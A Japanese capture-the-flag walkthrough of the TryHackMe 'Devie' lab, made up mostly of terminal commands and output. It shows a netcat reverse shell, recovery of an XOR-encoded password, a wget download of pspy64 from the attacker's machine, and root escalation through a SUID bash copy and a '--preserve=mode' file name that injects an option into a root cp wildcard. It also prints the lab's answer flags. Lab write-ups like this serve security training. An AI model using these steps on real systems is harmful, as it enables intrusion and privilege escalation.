TryHackMe | Cyber Security TrainingTryHackMe is a free online platform for learning cyber security, using hands-on exercises and labs, all through your browser!
┌──(hacklab㉿hacklab)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
Forwardしたら、bruceのシェルが取得できました。
┌──(hacklab㉿hacklab)-[~]
└─$ nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.18.110.90] from (UNKNOWN) [10.10.120.182] 48192
bash: cannot set terminal process group (694): Inappropriate ioctl for device
bash: no job control in this shell
bruce@devie:~$ whoami
whoami
bruce
flag1.txtがあったので確認しておきましょう。
bruce@devie:~$ ll
ll
total 44
drwxr-xr-x 4 bruce bruce 4096 Feb 20 00:33 ./
drwxr-xr-x 4 root root 4096 May 12 2022 ../
lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev/null
-rw-r--r-- 1 bruce bruce 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 bruce bruce 3771 Feb 25 2020 .bashrc
drwx------ 2 bruce bruce 4096 May 12 2022 .cache/
-rw-r--r-- 1 root root 158 Feb 19 23:26 checklist
-rw-r----- 1 root bruce 23 May 12 2022 flag1.txt
-rw-r--r-- 1 root root 355 Feb 20 00:33 note
-rw-r--r-- 1 bruce bruce 807 Feb 25 2020 .profile
-rw-rw-r-- 1 bruce bruce 75 May 12 2022 .selected_editor
drwx------ 2 bruce bruce 4096 May 12 2022 .ssh/
-rw------- 1 bruce bruce 0 May 12 2022 .viminfo
bruce@devie:~$ cat flag1.txt
cat flag1.txt
THM{Car3ful_witH_3v@l}
bruce@devie:~$ cat note
cat note
Hello Bruce,
I have encoded my password using the super secure XOR format.
I made the key quite lengthy and spiced it up with some base64 at the end to make it even more secure. I'll share the decoding script for it soon. However, you can use my script located in the /opt/ directory.
For now look at this super secure string:
NEUEDTIeN1MRDg5K
Gordon
==========
ブルースさん、こんにちは、
私は超安全なXOR形式を使ってパスワードをエンコードしました。
キーはかなり長くし、さらに安全性を高めるために最後にbase64でスパイスを加えました。近日中に復号化スクリプトを公開します。しかし、/opt/ディレクトリにある私のスクリプトを使うことができます。
とりあえず、この超安全な文字列を見てください：
NEUEDTIeN1MRDg5K
ゴードン
bruce@devie:~$ cd /opt/
cd /opt/
bruce@devie:/opt$ ll
ll
total 12
drwxr-xr-x 2 root root 4096 Aug 2 2022 ./
drwxr-xr-x 19 root root 4096 May 12 2022 ../
-rw-r----- 1 root gordon 485 Aug 2 2022 encrypt.py
今のところ、権限がなさそうに見えます。 sudo -lでsudo権限を見ます。
bruce@devie:/opt$ sudo -l
sudo -l
Matching Defaults entries for bruce on devie:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User bruce may run the following commands on devie:
(gordon) NOPASSWD: /usr/bin/python3 /opt/encrypt.py
bruce@devie:/opt$ sudo -u gordon /usr/bin/python3 /opt/encrypt.py
sudo -u gordon /usr/bin/python3 /opt/encrypt.py
Enter a password to encrypt: 123456789012345678901234567890
QkdDUUdFUltLVUVZVk1NWUVAVkJCR0NRR0VSW0tV
┌──(hacklab㉿hacklab)-[~]
└─$ ssh gordon@10.10.120.182
The authenticity of host '10.10.120.182 (10.10.120.182)' can't be established.
ED25519 key fingerprint is SHA256:6NbpoXonBvDQtml32goUl+CH5CxdNjQBofz7S9O2iTg.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:6: [hashed name]
~/.ssh/known_hosts:7: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.120.182' (ED25519) to the list of known hosts.
gordon@10.10.120.182's password:
Welcome to Ubuntu 20.04.5 LTS (GNU/Linux 5.4.0-139-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Thu 25 May 2023 01:47:42 PM UTC
System load: 0.08 Processes: 124
Usage of /: 56.4% of 8.87GB Users logged in: 0
Memory usage: 12% IPv4 address for ens5: 10.10.120.182
Swap usage: 0%
* Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
just raised the bar for easy, resilient and secure K8s cluster deployment.
https://ubuntu.com/engage/secure-kubernetes-at-the-edge
* Introducing Expanded Security Maintenance for Applications.
Receive updates to over 25,000 software packages with your
Ubuntu Pro subscription. Free for personal use.
https://ubuntu.com/pro
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
gordon@devie:~$
無事、接続できました！ flag2.txtがあるので、確認しましょう。
gordon@devie:~$ ll
total 36
drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ./
drwxr-xr-x 4 root root 4096 May 12 2022 ../
drwxrwx--- 2 gordon gordon 4096 Feb 19 23:35 backups/
lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev/null
-rw-r--r-- 1 gordon gordon 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 gordon gordon 3771 Feb 25 2020 .bashrc
drwx------ 2 gordon gordon 4096 May 25 13:47 .cache/
-rw-r----- 1 root gordon 21 Aug 2 2022 flag2.txt
-rw-r--r-- 1 gordon gordon 807 Feb 25 2020 .profile
drwxrwx--- 2 gordon gordon 4096 Feb 19 23:33 reports/
-rw------- 1 gordon gordon 0 May 12 2022 .viminfo
gordon@devie:~$ cat flag2.txt
THM{X0R_XoR_XOr_xOr}
Answer
What is the root flag?(ルートフラグは何ですか?)
最後は、ルート権限に昇格して、ルートフラグを取得します。
気になるのが、reportsとbuckupsですね。 中身をみていきましょう。
gordon@devie:~$ ll
total 36
drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ./
drwxr-xr-x 4 root root 4096 May 12 2022 ../
drwxrwx--- 2 gordon gordon 4096 Feb 19 23:35 backups/
lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev/null
-rw-r--r-- 1 gordon gordon 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 gordon gordon 3771 Feb 25 2020 .bashrc
drwx------ 2 gordon gordon 4096 May 25 13:47 .cache/
-rw-r----- 1 root gordon 21 Aug 2 2022 flag2.txt
-rw-r--r-- 1 gordon gordon 807 Feb 25 2020 .profile
drwxrwx--- 2 gordon gordon 4096 Feb 19 23:33 reports/
-rw------- 1 gordon gordon 0 May 12 2022 .viminfo
reportsの中ですが、ファイルも覗きましたが特に気になることはありませんでした。
gordon@devie:~$ cd reports
gordon@devie:~/reports$ ll
total 20
drwxrwx--- 2 gordon gordon 4096 Feb 19 23:33 ./
drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../
-rw-r--r-- 1 640 gordon 57 Feb 19 23:31 report1
-rw-r--r-- 1 640 gordon 72 Feb 19 23:32 report2
-rw-r--r-- 1 640 gordon 100 Feb 19 23:33 report3
gordon@devie:~$ cd backups/
gordon@devie:~/backups$ ll
total 20
drwxrwx--- 2 gordon gordon 4096 Feb 19 23:35 ./
drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../
-rw-r--r-- 1 root root 57 May 25 14:02 report1
-rw-r--r-- 1 root root 72 May 25 14:02 report2
-rw-r--r-- 1 root root 100 May 25 14:02 report3
試しに、reportsにtest.txtを作成しておきます。
gordon@devie:~$ cd reports
gordon@devie:~/reports$ touch test.txt
gordon@devie:~/reports$ ll
total 20
drwxrwx--- 2 gordon gordon 4096 May 25 14:03 ./
drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../
-rw-r--r-- 1 640 gordon 57 Feb 19 23:31 report1
-rw-r--r-- 1 640 gordon 72 Feb 19 23:32 report2
-rw-r--r-- 1 640 gordon 100 Feb 19 23:33 report3
-rw-rw-r-- 1 gordon gordon 0 May 25 14:03 test.txt
backupsを覗くと、1分くらいでtest.txtがコピーされていました。しかもroot権限で。
gordon@devie:~/backups$ ll
total 20
drwxrwx--- 2 gordon gordon 4096 May 25 14:04 ./
drwxr-xr-x 5 gordon gordon 4096 May 25 13:47 ../
-rw-r--r-- 1 root root 57 May 25 14:04 report1
-rw-r--r-- 1 root root 72 May 25 14:04 report2
-rw-r--r-- 1 root root 100 May 25 14:04 report3
-rw-r--r-- 1 root root 0 May 25 14:04 test.txt
定期実行されているため、crontabを覗きましたが、それらしきものは見つからず。。。
gordon@devie:~/backups$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
┌──(hacklab㉿hacklab)-[~]
└─$ python3 -m http.server 9999
Serving HTTP on 0.0.0.0 port 9999 (http://0.0.0.0:9999/) ...
wgetでpspy64をダウンロードし、権限を変更しておきましょう。
gordon@devie:~$ wget 10.18.110.90:9999/ダウンロード/pspy64
--2023-05-25 14:10:13-- http://10.18.110.90:9999/%E3%83%80%E3%82%A6%E3%83%B3%E3%83%AD%E3%83%BC%E3%83%89/pspy64
Connecting to 10.18.110.90:9999... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[================>] 2.96M 123KB/s in 44s
2023-05-25 14:10:57 (69.5 KB/s) - ‘pspy64’ saved [3104768/3104768]
gordon@devie:~$ chmod a+x pspy64
gordon@devie:~$ ll
total 3068
drwxr-xr-x 5 gordon gordon 4096 May 25 14:10 ./
drwxr-xr-x 4 root root 4096 May 12 2022 ../
drwxrwx--- 2 gordon gordon 4096 May 25 14:10 backups/
lrwxrwxrwx 1 root root 9 May 13 2022 .bash_history -> /dev/null
-rw-r--r-- 1 gordon gordon 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 gordon gordon 3771 Feb 25 2020 .bashrc
drwx------ 2 gordon gordon 4096 May 25 13:47 .cache/
-rw-r----- 1 root gordon 21 Aug 2 2022 flag2.txt
-rw-r--r-- 1 gordon gordon 807 Feb 25 2020 .profile
-rwxrwxr-x 1 gordon gordon 3104768 May 20 08:27 pspy64*
drwxrwx--- 2 gordon gordon 4096 May 25 14:03 reports/
-rw------- 1 gordon gordon 0 May 12 2022 .viminfo
gordon@devie:~$ cd /home/gordon/reports
gordon@devie:~/reports$ cp /bin/bash .
gordon@devie:~/reports$ chmod u+s bash
gordon@devie:~/reports$ echo '' > '--preserve=mode'
gordon@devie:~/reports$ ls -lah
total 1.2M
drwxrwx--- 2 gordon gordon 4.0K May 25 14:20 .
drwxr-xr-x 5 gordon gordon 4.0K May 25 14:10 ..
-rwsr-xr-x 1 gordon gordon 1.2M May 25 14:20 bash
-rw-rw-r-- 1 gordon gordon 1 May 25 14:20 '--preserve=mode'
-rw-r--r-- 1 640 gordon 57 Feb 19 23:31 report1
-rw-r--r-- 1 640 gordon 72 Feb 19 23:32 report2
-rw-r--r-- 1 640 gordon 100 Feb 19 23:33 report3
-rw-rw-r-- 1 gordon gordon 0 May 25 14:03 test.txt
ポチップ
